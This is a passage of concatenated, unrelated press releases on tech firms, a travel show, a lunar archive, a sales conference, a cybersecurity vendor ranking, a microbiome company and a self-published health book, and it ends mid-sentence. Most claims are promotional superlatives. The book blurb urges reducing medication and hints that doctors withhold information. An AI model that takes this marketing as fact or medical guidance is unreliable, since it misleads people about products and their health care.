relevant products through commerce content. A pioneer of native commerce, the company expanded into the mens lifestyle vertical in 2014, partnering with online publishers like theCHIVE and AskMen and connecting them to a wide variety of lifestyle brands including new-to-market Kickstarter successes like Bomber Barrel and Illumibowl. Its brand ecosystem now includes over 2,500 product creators big and small including Rosetta Stone, Audible, Grammarly, and Hulu. Brands are featured in native sponsored commerce posts distributed to premium publishers, connecting readers with products via content and driving purchases in white-labeled publisher shops powered by StackCommerce. StackCommerce expanded into the womens lifestyle vertical in 2017 with the acquisition of Joyus, a premium online video focused shopping experience for women. With that acquisition came new key publishers including UsWeekly and Aol.com. News publishers were also new areas of expansion in 2017. Today, StackCommerce provides commerce monetization solutions to over 750 diverse bloggers, online media publishers, and linear television producers, including Mashable, Gizmodo Media, TechCrunch, Tegna, Aol, Scripps, The Daily Beast and others. I couldnt think of a more important landmark as we celebrate our seventh birthday as a company, notes Founder and CEO Josh Payne. Our mission is about serving the worlds creators, whether it be journalists creating content, brands creating products, software developers creating apps, or instructors creating online courses to share with the world. Our vision is that StackCommerce not only helps creators financially today, but fuels them to continue to innovate and grow for years to come. The future of StackCommerce lies in its ability to serve creators in fresh, innovative ways, which is highlighted by its recent launch of StackMedia. The new performance-based native advertising arm of the company leverages network data and partnerships to drive consumers directly to brands websites, rather than into publisher shops. Launch partners include Microsoft, Snap, HelloSign, Monday.com, Vincero, Arcadia Power, Helix, and dozens more. The new division rounds out StackCommerces robust monetization toolkit, furthering its mission of serving its network of content and product creators. About StackCommerce StackCommerce is the leading native commerce platform for online publishers, communities and brands. Since its inception, StackCommerce has built new, incremental revenue streams for publishers and empowered its brand partners to reach relevant audiences. StackCommerces solutions include: fully-branded shops as well as native product recommendations in editorial, email, social, and in-stream. The companys partner network reach is currently over 1 billion monthly visitors across more than 750+ publisher partners including CBS Interactive, Hearst, Aol, Scripps, IAC, Gizmodo Media, IDG, Business Insider, and others. Founded in 2011, the company is headquartered in Venice Beach, California. For more information, visit: http://www.stackcommerce.com. They targeted the demographic we wanted and asked for and we began to see results immediately. Our Google collections went up significantly. We are very happy and highly recommend Studio98 for any marketing needs. Studio98, a digital marketing firm specializing in medium-sized to large companies, continues to prove analytics can be used to increase a businesss conversion rates. By using Google AdWords, Google Analytics, and paid advertisements, Studio98 has enabled clients to grow their conversions and reach more customers on the Internet. The firms clients, which include a variety of organizations such as Time Warner Cable, Ashley Home Stores, and NASA, have reported increase of 157% in traffic and conversions using its services. Furthermore, Studio98 clients are provided with additional free tools that allow them to follow and understand their customer reach. Studio98's Analytics are refreshingly different from other digital marketing companies. They track all the areas a company is promoting. For instance, when someone visits a site or fills out a contact form or even buys something, Studio98 can track where that user originated. And thus, they can really tailor and target a company's promotion to be increasingly effective. The Clearwater-based firm has worked with thousands of companies to improve their brand awareness. The firms expert PPC management, is one of its most often used tools. Customers are able to attract visitors to their websites from search engines, other websites, and social media. PPC is great for clients as they only pay when an interested party clicks on the advertisement. PPC is just one of the tools at Studio98s disposal as the firms experienced professionals not only research the demographics a company wants to reach, but it studies behavior to develop keywords that will reach the right individuals. In all, the analytics used by Studio98 turn potential into confirmed customers. One client had this to say,Our private practice was struggling with quality new patients coming in to our office, one happy Studio98 customer said. We were referred to Studio98 by a friend. After Studio98 took over our marketing, our statistics shot up and we were amazed. They targeted the demographic we wanted and asked for and we began to see results immediately. Our Google collections went up significantly. We are very happy and highly recommend Studio98 for any marketing needs. Customers can receive free analytics tracking providing insights for clients previously thought to be impossible to convert through Studio98s paid ads service. Studio98 provides an all-in-one solution to solve a companys marketing needs by offering call tracking, search behavior, and remarketing tools. Studio98 has worked with thousands of clients from a multitude of industries ranging from industrial, software, finance, legal service, manufacturing, governmental, retail and more.. For more information and to find out how Studio98 can transform a clients conversion rate using analytics, please visit https://www.studio98.com/. About Studio98: Studio98 is a full service marketing agency centered in Clearwater, Florida. Theyve created over 4,000 custom websites for clients all over the world and have helped thousands of businesses expand through unique digital marketing and analytics services, as well as providing secure hosting and support for client websites. Additionally, they offer tailor-made training for digital marketing and lead generation services. Currently, Studio98 is the number one ranked company on Google for Custom Web Design and employs nearly 40 full-time staff in-house. Texas A&M-Corpus Christi College of Education Selects Portfolium Portfolium provides the robust and adaptable system we need across all three areas of student engagement, meaningful learning outcomes assessment, and state and national accreditation reporting, said David Scott, Dean at Texas A&M UniversityCorpus Christi Texas A&M UniversityCorpus Christis College of Education has selected Portfoliums Student Success Network to provide Teacher Preparation program students with a way to store evidence of field-based assessment and provide guided pathways from admission and into a career. Portfolium provides the robust and adaptable system we need across all three areas of student engagement, meaningful learning outcomes assessment, and state and national accreditation reporting, said David Scott, Dean at Texas A&M UniversityCorpus Christi. The College of Ed will begin rolling out Portfoliums digital badging and learning pathways technology, a platform that provides students with the ability to earn micro-credentials and digital badges and automatically have them displayed in their ePortfolios. Digital badge issuance will be triggered directly by Portfoliums assessment software, ensuring that student badges will include full transparency into specific learning outcomes, rubrics and evidence of student work. The badges will also be issued in connection with the achievement of certain milestones along guided pathways, making it easy to construct visual paths representing varying degrees of depth, breadth, and rigor. Due to Portfoliums all-in-one, full stack software, built-in live support, and intuitive user experience, the College of Education will be able to launch the Student Success platform with minimal student and faculty training. Along with the College of Education's Teacher Preparation program, the college also plans to utilize Portfolium to improve assessment, teaching, and learning throughout all College of Ed programs, both undergraduate and graduate. At Portfolium, were always thrilled at the opportunity to provide our Student Success solutions to any institution, but partnering with Texas A&M-Corpus Christis College of Education to ensure the success of our countrys future teachers is an especially proud milestone for us as a company, said Troy Markowitz, Vice President of Academic Partnerships at Portfolium. ABOUT TEXAS A&MCORPUS CHRISTI: Texas A&M UniversityCorpus Christi is a state university in Corpus Christi, Texas, United States, on Ward Island in Oso Bay. Texas A&M-Corpus Christi offers 33 undergraduate majors, 25 graduate programs, and five doctoral programs through five colleges. The College of Education and Human Development offers teacher certification in more than 30 areas as well as three undergraduate degrees, 11 graduate programs, and 2 doctoral programs. For more info, please visit: https://www.tamucc.edu/ ABOUT PORTFOLIUM: Portfolium is the worlds fastest growing Student Success Network. 4.5M+ students from 3,600+ colleges, universities and high schools use Portfolium to connect to internships, jobs, and lifelong learning opportunities via ePortfolios that showcase their proven competencies. 300+ partner institutions manage and align competency assessment, digital badging, guided pathways, and career readiness programs with Portfoliums Student Success platform. Portfoliums academic solutions plug students into an open ecosystem of employers, mentors, educators, and peers around the world. To learn more about Portfolium's network for learners and solutions for educators and employers, visit: https://portfolium.com Youll learn from and be inspired by top celebrity travel experts and be immersed in cultures from around the globe. This is Americas Favorite Travel Show for a reason and if you love to travel, it cannot be missed. Anyone looking to find, plan and book their next vacation will discover thousands of travel options to explore, local destination experts to help them get there and tens of thousands of dollars in savings at the 9th annual San Francisco/Bay Area Travel & Adventure Show. Taking place March 23 and 24, 2019 at the Santa Clara Convention Center, travel enthusiasts will have the opportunity to meet face-to-face with thousands of travel experts from around the world. Experts will be on hand to help attendees dream, personalize and book their next trip. From Switzerland to Arizona, to Mexico to the Caribbean, attendees will find great travel options at the Travel & Adventure Show. The price of admission also includes access to dozens of inspirational, educational and culturally focused sessions on four stages located on the show floor, along with hands-on activities fit for the whole family. At the Travel & Adventure Show, you will have the chance to meet one-on-one with representatives from the top travel brands in the world. Whats more, each of these representatives are on-hand to help you plan, personalize and book the trip thats right for you, at the price that you cant find anywhere else, said John Golicz, CEO of Unicomm, LLC, the producer of the Travel & Adventure Show Series. Youll learn from and be inspired by top celebrity travel experts and be immersed in cultures from around the globe. This is Americas Favorite Travel Show for a reason and if you love to travel, it cannot be missed. One of the many highlights of the San Francisco/Bay Area Travel & Adventure Show is the opportunity to meet and gain inspiration from the worlds top travel experts and celebrities as they present seminars and answer questions over the two-day event. On the 800 seat Travel Theater youll meet: Cheryl Strayed, Author, New York Times Best Selling Memior Wild Rick Steves, Travel Writer, Host of Rick Steves Europe and Travel with Rick Steves Peter Greenberg, Emmy Award-Winning Investigative Reporter and Producer and CBS News Travel Editor Patricia Schultz, Author of the New York Times Bestseller 1,000 Places to See Before You Die Johnny Jet, Editor-in-Chief, JohnnyJet.com On the Savvy Traveler Theater stage, visitors will interact with travel experts on subjects ranging from packing and travel technology, to maximizing credit card reward points and what to do if disaster strikes while traveling. On the Destination Theater, travelers will receive destination-specific information from local experts containing information on when to go, how to get there, what to see and local, off the beaten path attractions from destinations such as Alaska, Arizona, Switzerland, and Fiji, among others. At the Global Beats Stage, attendees can feel the beat and experience the rhythm of cultural dances and performances during more than 20 presentations throughout the weekend. Attending the San Francisco/Bay Area Travel & Adventure Show is an adventure in and of itself and presents activities suitable for the whole family. Guests can get their picture taken in their favorite destination at the Arizona Green Screen and even take part in the Yosemite Virtual Reality Activity Pavilion. The travel show will also feature the U.S. Passport and Global Entry acceptance events, where the Passport Agency will be accepting new passport applications and passport renewals. In addition to passport acceptance, this area will also feature CBP Global Entry Program appointments, taking place right on the show floor. You can find out all the details about the passport application requirements at https://travel.state.gov/passports. MSC Cruises, Switzerland Tourism are the events Major Sponsors, while Rick Steves Europe and Discover Yosemite are Contributing Sponsors. The San Francisco/Bay Area Travel & Adventure Show will take place on March 23rd and 24th at the Santa Clara Convention Center. The show opens at 9:30 a.m. Saturday for travel professionals; the public can attend from 10 a.m. to 5 p.m. Saturday and from 11 a.m. to 4 p.m. on Sunday. Attendees can purchase single-day and two-day tickets online now for the discounted rate of $11/$18 with promo code: SCPR19 or on-site for $15/$22. Children 16 and under are free and on-site tickets can be purchased with cash only. For tickets and event information, visit http://travelshows.com/san-francisco-bay-area. About Unicomm, LLC and the Travel & Adventure Show Series UNICOMM LLC is an independent business-to-business communications company specializing in originating and managing world-class trade shows and conferences. Unicomms properties include the nations largest and longest running series of travel events, the Travel & Adventure Show in Washington, D.C., Chicago, San Francisco/Bay Area, Los Angeles, San Diego, Denver, Philadelphia, Dallas and Boston, which is new in 2019. The Arch Mission Foundation The Billion Year Archive is an important achievement for the Arch Mission Foundation, and for the preservation of human civilization, said Nova Spivack, co-founder of the Arch Mission Foundation. Earlier this week. SpaceIL, an Israeli nonprofit organization working to land the first Israeli spacecraft on the moon, presented their Time Capsule that will fly to the Moon aboard the spacecraft BERESHEET, in partnership with IAI (Israel Aerospace Industries). One of the technologies that enables this time capsule is a Billion Year Archive made by the Arch Mission Foundation. The Billion Year Archive represents the first major Lunar archive from the Arch Mission Foundation as part of their mission to continuously preserve and disseminate humanitys most important knowledge across time and space. The Arch Mission Archive is contained within the SpaceIL time capsule and has a projected 5 billion year durability on the Moon. The Archive, in the form of a special 25 layer nickel disc made using nanotechnology by the Arch Mission Foundation, was installed this week in SpaceILs spacecraft. It is intended to serve as a backup for human civilization in a safe location off of Earth. This is the first installment of the Arch Mission Foundations Archives of Civilization project which includes backups of libraries of important knowledge, history, information and technology, delivered to many locations around Earth and other locations in the Solar System. The Billion Year Archive contains a vast collection of important human knowledge, including the Wikipedia and many other data sets. The Arch Mission will be sending updates to this library over time on subsequent missions with partners across the space industry. Further detail about the content of the Billion Year Archive will be provided in the future. The Billion Year Archive is an important achievement for the Arch Mission Foundation, and for the preservation of human civilization, said Nova Spivack, co-founder of the Arch Mission Foundation. Weve worked for over 2 years to curate the data and build this ultra-long durability time-capsule, Spivack added. This is the largest set of knowledge ever stored in a single object of this scale. It will also be the largest amount of human knowledge landed on another planetary object, as well as the longest-lasting library humans have ever built. This is a major accomplishment for Israel, as well as for humanity as a whole, Spivack added. The Billion Year Archive is located inside the SpaceIL lunar lander in a protected compartment that is designed to remain on the Moon for billions of years. SpaceIL is a non-profit organization aiming to land the first privately funded spacecraft on the moon early next year. One of the main goals of the organization is to inspire the next generation of kids to choose careers in sciences and engineering. We are excited that SpaceIL, on behalf of Israel the Startup Nation, will put the largest archive of human knowledge on the Moon said Yonatan Winetraub, co-founder of SpaceIL. About Arch Mission Foundation: The Arch Mission Foundation designs, builds, delivers, and maintains curated long-term archives that are housed in specially designed devices called Arch Libraries or Archs (pronounced Arks). Arch Libraries are being developed with a variety of form factors to survive for long durations in space, as well as on Earth, and the surfaces of other planets, moons and asteroids. The Arch Libraries are already the longest-lasting records of human civilization ever created, and possibly that ever will be created. They may last billions of years longer than the Pyramids. They may even last longer than our planet. In the distant future the Arch Libraries may be the only remaining trace of our species and our civilization. In 2015, Nova Spivack and Nick Slavin co-founded the Arch Mission Foundation as a not-for-profit corporation, and in 2016 the Arch Mission Foundation was formally incorporated and subsequently qualified for 501c3 not-for-profit tax status in the USA. Other early members of the Foundation include Michael Paul, Matthew Hoerl, Bruce Ha, Robert Jacobson, and an extensive advisory board. Support for The Billion Year Archive project was provided by Magical as well as a range of donors. A grant to write the Wikipedia section of the Arch Library was provided by PTScientists. Arch Libraries and The Billion Year Archive are trademarks of The Arch Mission Foundation. For more information visit: http://www.archmission.org About SpaceIL: SpaceIL is a nonprofit organization established in 2011 aiming to land the first Israeli spacecraft on the moon. Founded by three young engineers, Yariv Bash, Kfir Damari and Yonatan Winetraub, SpaceIL sought to answer the international challenge presented by Googles $20 million Lunar X Prize: to build, launch and land an unmanned spacecraft on the moon. SpaceIL is continuing with its mission to the moon despite the contests expiration without a winner. http://www.spaceil.com Grant Cardone's Annual 10X Growth Conference has quickly become the world's largest gathering of entrepreneurs The estimated economic impact is over $125 million to the surrounding area. The worlds number-one sales trainer, self-made multimillionaire, and real estate tycoon Grant Cardone is holding the most anticipated and largest business growth conference of 2019 at Marlins Park in Miami, Florida. Scheduled for three days, the event will draw 35,000 attendees and have an estimated economic impact of over $125 million to the surrounding area. 10X Growth Conference 3 will be held in Miami at Marlins Park February 1-3, 2019. This epic event will be the largest entrepreneurial conference ever with over 35,000 attendees. Guinness Book of World Records has been invited to witness and document the historic occasion. Spanning three days with world-class experts covering topics like sales, marketing, building an ideal life, branding and more, this meet up will truly be a once-in-a-lifetime event. Presenters include: Steve Harvey - #1 TV personality in the world Grant Cardone - World's #1 Sales Trainer & Real Estate Mogul Ryan Deiss. Leading authority on digital marketing with over 10 million marketers subscribed Sara Blakely. First billionaire businesswoman in the world and SPANX creator John Maxwell. The #1 leadership expert in the history of the world Elena Cardone. Philanthropist, Speaker, Author, and Empire Builder Russell Brunson. The #1 online sales expert and ClickFunnel creator Daymond John. Leading entrepreneurial expert and founder of FUBU Tai Lopez. Top Social Media Expert and advisor to over twenty multi-million dollar businesses Jesse Itzler. Master entrepreneur, Marquis Jet founder, and Atlantic Hawks owner Bethenny Frankel. Top lifestyle branding expert, Skinnygirl creator and TV celebrity "10X Growth Conference is bringing together a lineup that won't be found anywhere else and is a tremendous value both in terms of access to these power players and the networking opportunities that will be available." Sheri Hamilton, COO of Cardone Training Technologies Inc. For this historic event, Grant Cardone 10X Growth Conference 3 is proud to partner with Marlins Park. Tickets for the event range from $95 to $15,000. All details and booking information can be found at http://www.10XGrowthCon.com About Grant Cardone: Grant Cardone is a New York Times bestselling author, international social media influencer, the number one sales trainer in the world, and an internationally renowned speaker on leadership, real estate, investing, entrepreneurship, social media, and finance. He owns five companies with annual revenues exceeding $150 million. He is a regular guest on Fox News, Fox Business, CNBC, and MSNBC. He also is a contributing writer for Forbes, Success Magazine, Business Insider, Entrepreneur.com and the Huffington Post. Identifying today's best cybersecurity solutions providers is more important than ever for corporations across the globe. The SaaS Report is pleased to announce The Top 25 Cybersecurity Companies of 2018. A four month process was run to collect nominations from hundreds of executives and professionals in the software industry. We gathered data on each nominee including sophistication of security technology, level of customer support, knowledge of the latest cyber threats, CEO leadership effectiveness and CTO proficiency among other key areas. Notably, a few companies offering unique advanced solutions earned spots among the larger cybersecurity incumbents. For example, Synack provides crowdsourced security testing deploying hackers around the world to quickly detect a companys vulnerabilities. Masergy is at the forefront of enterprise security technology and sustains 99% client retention across a sophisticated client base. Meanwhile Digital Defense focuses on verticals such as financial services, legal and healthcare where the need for security compliance is particularly acute. Topping this years list are Symantec, whose 13,000 employees generate nearly $5 billion annually, comprehensive endpoint defense provider FireEye, and a transformed Blackberry now known for its mobile security software. Others worth highlighting include McAfee, Rapid7 and Crowdstrike. Many other notable companies earned a spot on this years list, which can be accessed at https://thesaasreport.com/top-25-cybersecurity-companies-of-2018/ About The SaaS Report The SaaS Report is a comprehensive source for market research and insights, business news, investment activity and corporate actions related to the SaaS and software sectors. Based in New York City, the firm is run by a seasoned team of editors, writers and media professionals highly knowledgeable on SaaS and the various companies, executives and investors that make up the sector. Stainless Steel Tonelight Dual Alert The stainless steel package is ideal for use in any harsh environment. This panel mounted device gives both an audible and visual warning signal, especially helpful in conditions with high levels of ambient noise. This panel mounted device gives both an audible and visual warning signal, especially helpful in conditions with high levels of ambient noise. The stainless steel Tonelight Series package is ideal for use in any harsh environment. Tonelight allows the audible or visual alert signal to be operated separately, allowing workers to have time to respond to visual alerts before the audible beeping begins. This feature is ideally suited where excess noise is either undesirable or hard to detect. Typical uses for the stainless steel Tonelight indicator include any application where environmental conditions are demanding or harsh: Alarms of all types Low-voltage Low-pressure High-radiation Tank-full Dangerous Condition High-temperature LIQUID Detector Transducers USA customers are finding the Tonelight stainless steel warning indicators very helpful in many applications, such as: On dashboards of RVs, OFF AND ON ROAD vehicular equipment, providing warning when the contents of storage or collection tanks are either full or empty INDUSTRIAL MACHINES and factory floors Restaurant kitchens Mobile and portable applications The Tonelight TRIP-LB100SS model is sealed and IP50 rated. Beepers emit at >80 dB. Lens color options include red (standard); optional colors include green, yellow, blue and white. These warning indicators utilize standard 19mm panel mounting (only one panel hole needed for both signals). The voltage operation for the series spans AC and DC: 12V, 24V, 110V & 220V. For more information on the Tonelight Series, please visit: http://www.tusainc.com. About Transducers USA Transducers USA produces quality audible signal devices at very competitive prices for Original Equipment Manufacturers. The company manufactures a comprehensive line of audio indicators and transducers in piezo and electro-mechanical varieties, including microphones, speakers, and ultrasonic components. Products are manufactured in ISO-9000 and RoHS certified facilities in Asia. Transducers USA provides customer support and engineering assistance from their local headquarters in Elk Grove Village, IL. Over 1,300 production workers and 100 specialized audio engineers support Transducers USA. In addition to hundreds of standard audible signal devices, custom products are also available at Transducers USA, based on either a customers design or one created by Transducers USA engineers. CAD drawings and tooling will be provided at no charge for qualified orders. Distributors and sale representatives are utilized as a channel to market. Local contacts can be found on http://www.tusainc.com. FREE samples of Tonelight devices are available to editors for product reviews. Please send requests to the contact below. "I am particularly interested in gut microbiome in young patients with sporadic colorectal cancer. Another area of interest for me is to look at the changes in sinonasal microbiome in patients with chronic rhinosinusitis, especially after rhinovirus infection." - Dr. Jandova, PhD uBiome, the leader in microbial genomics, announces the addition of Dr. Jana Jandova, PhD, Assistant Scientific Investigator with the Department of Otolaryngology - Head & Neck Surgery at the University of Arizona, to its Scientific Advisory Board. Joining the board of leading scientists and doctors from around the world, Dr. Jandova will bring to uBiome expertise in the role of microbiome composition in chronic sinus disease. The appointment will help uBiome continue its advancement in human microbiome research. Dr. Jandovas extensive experience and broad scope of knowledge of chronic sinus disease, colon cancer, and Human Papillomavirus is invaluable, Dr. Jessica Richman, PhD, co-founder and CEO of uBiome, said. We are fortunate to have her as a member of our Scientific Advisory Board. Dr. Jandova received her PhD in Medical Pharmacology from Palacky University in the Czech Republic. She underwent her post-doctoral training at the University of Arizona Cancer Center under the mentorship of Dr. Watts and Dr. Sligh. She has experience researching colorectal cancer, stem cells, oncogenic Human Papillomavirus, and non-melanoma skin cancer. Dr. Jandova joined the Chang Lab at the University of Arizona in 2018, and her current research focuses on how underlying genetic factors, viral infections, and microbiome composition all interact to drive the development of chronic sinus disease. She is the Assistant Scientific Investigator at the Departments of Otolaryngology and Surgery within the Surgical Oncology Section. About joining uBiome's Scientific Advisory Board, Dr. Jandova said, The big world of human microbiome is extremely fascinating to me, simply because the genes in our microbiome outnumber the genes in our genome by about 100 times. I am particularly interested in gut microbiome in young patients with sporadic colorectal cancer. Another area of interest for me is to look at the changes in sinonasal microbiome in patients with chronic rhinosinusitis, especially after rhinovirus infection. In addition to Dr. Jandova, the uBiome Scientific Advisory Board also includes Dr. Joseph DeRisi (MacArthur Genius and UCSF professor), Dr. Atul Butte (head of the Institute for Computational Health Sciences at UCSF), Dr. Katherine Pollard (Director, Gladstone Institute for Data Science and Biotechnology), Dr. Joel Palefsky (UCSF School of Medicine professor), Dr. George Church (leading geneticist at Harvard University), Dr. Liz Lipski (Academic Director of Nutrition and Integrative Health Programs at Maryland University of Integrative Health), Dr. Elaine Hsiao, PhD (UCLA), and other leading scientists. The companys Medical Advisory Board includes Dr. Alan Green (Society for Participatory Medicine), Dr. Leo Treyzon (Cedars-Sinai Medical Center), Dr. Cynthia Geyer (Medical Director of Canyon Ranch, Lenox), Dr. Robynne Chutkan (Georgetown University Hospital), Michael Docktor (Boston Childrens Hospital), Dr. Tiffany Lester (Medical Director of Parsley Health in San Francisco), Dr. Joel Kahn (Founder of the Kahn Center for Cardiac Longevity), as well as other accomplished clinicians. _____ About uBiome Founded in 2012, uBiome is the leader in microbial genomics. The Companys mission is to advance the science of the microbiome and make it useful to people. uBiome combines its patented proprietary precision sequencing with machine learning and artificial intelligence to develop wellness products, clinical tests, and therapeutic targets. uBiome has filed for over 250 patents on its technology, which includes sample preparation, computational analysis, molecular techniques, as well as diagnostic and therapeutic applications. uBiomes commercial products include SmartGut, the worlds first sequencing-based clinical microbiome test, which identifies microbes in the gut for patients with chronic gut conditions such as IBD, IBS, Crohns Disease, and ulcerative colitis; SmartJane, the first sequencing-based womens health screening test, which genotypes all 19 clinically relevant strains of HPV, identifies four common STDs, and surveys more than 20 vaginal microbes associated with bacterial vaginosis and other conditions; and Explorer, a health and wellness product to understand the role that food and lifestyle can play in wellness. uBiomes platform has been used by hundreds of thousands of consumers, patients, and doctors and more than 200 research institutions around the world, including the US Centers for Disease Control (CDC), US National Institutes of Health (NIH), Harvard University, Stanford University, the Massachusetts Institute of Technology (MIT), University of California, San Francisco, Oxford University, and the University of Sydney. Since its launch, the company has received widespread recognition including CNN 10: Startups to Watch, the IVY Technology Award, CNN Future 30, and was named one of Fast Companys Most Innovative Companies in Healthcare in 2016 and in Data Science in 2018, as well as a Technology Pioneer from the World Economic Forum in 2018. For more information, visit http://www.uBiome.com. "We are proud to partner with UNCF to invest in the next generation of African American scientific leaders. Today UNCF announces the selection of two outstanding African American biomedical scientists for the inaugural cohort of the E. E. Just Postgraduate Fellowship in the Life Sciences Bianca Jones Marlin, Ph.D. and Elizabeth Ransey, Ph.D. Dr. Marlin is a neuroscientist and postdoctoral researcher at Columbia Universitys Zuckerman Institute. She holds a Ph.D. in neuroscience from New York University School of Medicine and dual bachelors degrees in biology and adolescent education from St. Johns University. During her graduate studies with Dr. Robert Froemke, Dr. Marlin examined how the brain adapts to care for a newborn. Her findings uncovered a fundamental role of the neuromodulator oxytocin during the transition to motherhood. As postdoctoral fellow in the laboratory of Nobel Laureate Dr. Richard Axel, she investigates transgenerational epigenetic inheritance, or how trauma in parents affect the brain structure and sensory experience of their future offspring. Dr. Marlin aims to utilize neurobiology and the science of learning to better inform both the scientific and educational community on how positive experiences dictate brain health, academic performance and social well-being. Dr. Ransey is a postdoctoral scientist in the Laboratory of Psychiatric Neuroengineering (LPNE) at Duke University, under the direction of Dr. Kafui Dzirasa. Dr. Ransey earned her bachelors degree in Biochemistry from the Rochester Institute of Technology (Rochester, NY) and her Ph.D. in Chemical Biology from Harvard University (Cambridge, MA) where she aimed to understand the structures and mechanisms of proteins involved in RNA processing and regulation. During her graduate studies, Dr. Ransey advanced established methodologies critical for the identification and prediction of the myriad targets of RNA binding proteins notably, for the major oncoprotein (cancer causing protein), Lin28. As a postdoctoral researcher, Dr. Ransey is interested in understanding the basis of neurodevelopmental disorders such as Autism Spectrum Disorders a range of conditions characterized by social and behavioral deficits with increasing prevalence in the U.S. (afflicting nearly 1 in 45 children). In the LPNE, she applies her cross-disciplinary expertise towards the development of innovative, protein-engineering based strategies for the study and treatment of this and related disorders. Named in honor of pioneering African American biologist, academic and science writer Dr. Ernest Everett Just one of the most prominent African American scientists of the twentieth century the goal of the fellowship program is to transform the postgraduate training experience by accelerating the career development of African American scientists pursuing research careers in academic or biopharmaceutical industry R&D. The three-year fellowship award will provide a highly competitive stipend, a research budget, travel award for research conferences and access to mentors and professional networks. Over the next five years, three groups of African American scientists will be selected to participate in this highly competitive fellowship program and will also have a chance to engage Bristol-Myers Squibb scientists in the companys discovery and translational medicine divisions to learn about the biopharmaceutical companys research and development program. We congratulate Dr. Bianca Jones Marlin and Dr. Elizabeth Ransey for their outstanding research contributions in neuroscience, said Chad Womack, Ph.D. Senior Director for STEM Initiatives at UNCF. We welcome the opportunity to support these outstanding scientists as they continue their postgraduate research and pursue careers as independent scientists. We are also proud to work with Bristol-Myers Squibb to nurture the professional development of the next generation of leaders in biomedical research and expand the number of African Americans working to advance the nations health. This investment also further extends UNCFs impact as a major stakeholder that supports African Americans pursuing careers in STEM fields. Bristol-Myers Squibb is proud to support the E. E. Just Postgraduate Fellowship program and we extend our sincere congratulations to Dr. Marlin and Dr. Ransey for having achieved this significant milestone, said Tom Lynch, M.D., Chief Scientific Officer, Bristol-Myers Squibb. At Bristol-Myers Squibb, we have seen firsthand how inclusive dialogue and diverse perspectives are fueling the scientific innovation behind an industry-leading pipeline and helping to deliver transformational medicines for the patients we serve. We are proud to partner with UNCF to invest in the next generation of African American scientific leaders. Bristol-Myers Squibb is proud to support this program with UNCF as a partner in its efforts to invest in and broaden opportunities for promising African American scientists pursuing careers in the biopharmaceutical industry, added Mr. David L. Gonzales, Head of Global Diversity & Inclusion at Bristol-Myers Squibb. We are excited about this partnership as a visible commitment toward building not only this critical talent pipeline of African American scientists, but also investing in the leadership development of these postgraduate fellows. In so doing, BMS advances our mission to discover, develop and deliver innovative medicines that help patients prevail over serious diseases. About UNCF: UNCF (United Negro College Fund) is the nation's largest and most effective minority education organization. To serve youth, the community and the nation, UNCF supports students' education and development through scholarships and other programs, strengthens its 37 member colleges and universities, and advocates for the importance of minority education and college readiness. UNCF institutions and other historically black colleges and universities are highly effective, awarding 20 percent of African American baccalaureate degrees. UNCF annually awards $100 million in scholarships and administers more than 400 programs, including scholarship, internship and fellowship, mentoring, summer enrichment, and curriculum and faculty development programs. Today, UNCF supports more than 60,000 students at more than 1,100 colleges and universities across the country. Its logo features the UNCF torch of leadership in education and its widely recognized trademark, "A mind is a terrible thing to waste. Learn more at UNCF.org, or for continuous news and updates, follow UNCF on Twitter, @UNCF Why Not Me?: a rallying cry for better health care. Why Not Me is the creation of published author WallACE S. Green Sr., a disabled Vietnam vet turned crusader, cancer survivor, and health awareness advocate. WallACE writes, Cases of kidney failure are skyrocketing worldwide, and rates of treatment for kidney failure are growing faster than the population. It costs Medicare more for medical treatment than prostate cancer and breast cancer combined, forcing many people to choose conservative management not to treat kidney failure with dialysis or a transplant. Why Not Me? empowers you to take an active role in your health care and explain why reducing your dependence on medications can improve your overall health. It also helps you how to read and understand your lab results if your doctor orders blood or urine test; everything on the lab test result is important even though doctors never cover all the results. What should you do when your health-care provider tells you not to worry about a medical problem that is slightly higher or lower than normal? Learn the understanding or how dishonesty with your care team could hurt you; it will shock you once you reveal that most of the information given by your health team are for treatment only; most instructions are wellness and are the opposite from preventative treatment. Published by Christian Faith Publishing, WallACE S. Green Sr.s new book is an authoritative nudge in the right direction for anyone alarmed at the state of health in the modern world. After the turmoil of his own dialysis treatment and kidney transplant, WallACE set out to help others avoid the healthcare hell by first curing ignorance of the issue and sharing in his book what many doctors will not admit. View a synopsis of Why Not Me? on YouTube. Consumers can purchase Why Not Me? at traditional brick & mortar bookstores, or online at Amazon.com, Apple iTunes store, or Barnes and Noble. For additional information or inquiries about Why Not Me?, contact the Christian Faith Publishing media department at 866-554-0919. Small businesses and local brick-and-mortar shops are stuck footing the cost for features that simply aren't relevant. WebHostingPad, an independently-owned hosting company focused on providing website hosting space to small businesses, is launching a new hosting plan for the 2018 holiday season. From WebHostingPad's top-selling hosting plan, the Power Plan, comes the Power Plan Mini. The plan is a pared-down version of web hosting, but it fills a niche the web hosting industry has often overlooked. Recent trends in the web hosting sphere aim to provide consumers with feature-rich plans offering the latest in technology and development, but the added functionality often adds to the cost of the plan. While web developers and internet-savvy start-ups revel in the expanding features, small businesses and local brick-and-mortar shops are stuck footing the cost for features that simply aren't relevant for small, static websites. WebHostingPad is aiming to fill that gap with the Power Plan Mini. The Power Plan Mini is a website hosting package that allocates server space and resources for a website, allowing a user to design, upload, and host a single website on the internet. The plan comes with: 2GB of disk space for website files 10 professional email accounts 10 SQL databases for stoage 50 GB of bandwidth Free WordPress content management system The Mini Plan only supports 1 domain, which is well-suited to small businesses looking for an easily-managed online presence. Despite its small size, the Mini Plan supports multiple free site builders, including WordPress. This saves small businesses from hiring a web developer, which can result in increasing costs every time the website needs to be changed or updated. While the Power Plan Mini is aimed at small businesses, it's also an option for artist portfolio websites, entrepreneurs, solo practitioners, and hobbyists. It's important to note that while the Mini Plan is centered around simplicity, the added features that come included with more extensive hosting plans are still available on an individual basis. This lends a great deal of scalability to the plan, and shifts more control and oversight to the consumer. With the rising popularity of ecommerce, this versatility allows small business owners to keep their options open for the future. WebHostingPad continues to offer the long-popular Power Plan, as well as a variety of hosting plans and options more in-line with the current hosting standards. Full service upgrades to any comprehensive hosting plan from the Mini Plan will be available with no additional fees. The Power Plan Mini is priced at $1 per month on an annual basis during launch, 50% off its regular price. The promotional period will last through the holiday season until the end of 2018. For additional information about the Power Plan Mini, please visit: https://www.webhostingpad.com/mini WebHostingPad has been providing affordable and reliable website hosting, domains, and email since its founding in 2005. Joseph Lane, former CEO, GE Technology Finance and President of IBM Credit Corporation As a professional investor and long-time technology executive, its exciting to be part of such a transformative company. xagent, the single-entry market access solution for property and casualty (P&C) agents, announced today that it has met or exceeded every one of its growth goals for 2018. As a professional investor and long-time technology executive, its exciting to be part of such a transformative company, said Board Member Joe 